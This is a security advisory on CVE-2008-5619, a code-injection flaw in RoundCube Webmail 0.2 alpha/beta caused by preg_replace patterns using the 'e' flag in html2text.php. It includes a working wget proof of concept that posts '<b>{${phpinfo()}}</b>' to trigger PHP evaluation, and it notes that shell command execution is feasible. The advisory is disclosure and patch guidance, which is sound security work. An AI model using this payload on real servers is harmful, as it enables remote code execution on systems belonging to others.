|
|
|
|
| |
Credit:
The information has been provided by Jacobo Avariento Gimeno.
|
| |
Vulnerable Systems:
* Round Cube RoundCube Webmail 0.2-3 beta
* Round Cube RoundCube Webmail 0.2-1 alpha (tested)
Analysis of the vulnerable code
The script bin/html2text.php creates an instance of the class html2text with the given POST data, the problem arises in the file program/lib/html2text.php in function _convert() on line 381:
// Run our defined search-and-replace
$text = preg_replace($this->search, $this->replace, $text);
Some patterns in $this->search allow interpret PHP code using the "e" flag, i.e.:
'/<a [^>]*href=("|')([^"']+)\1[^>]*>(.+?)<\/a>/ie', // <a href="">
'/<b[^>]*>(.+?)<\/b>/ie', // <b>
'/<th[^>]*>(.+?)<\/th>/ie', // <th> and </th>
In concrete those would be replaced by:
'$this->_build_link_list("\\2", "\\3")', // <a href="">
'strtoupper("\\1")', // <b>
"strtoupper(\"\t\t\\1\n\")", // <th> and </th>
Now using PHP complex (curly) syntax we can take advantage of this to interpret arbitrary PHP code, evaluating PHP code embedded inside strings.
Proof of Concept
As this vulnerability was discovered in-the-wild: http://trac.roundcube.net/ticket/1485618 was quite sure that would be exploitable, using PHP curly we can execute phpinfo():
wget -q --header="Content-Type: ''" \
-O - --post-data='<b>{${phpinfo()}}</b>' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php
Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc to avoid using single or double quotes the arbitrary shell command execution is fully feasible.
Patch:
Apply the patch provided at: http://sourceforge.net/forum/forum.php?forum_id=898542
CVE Information:
CVE-2008-5619
|
|
|
|
|
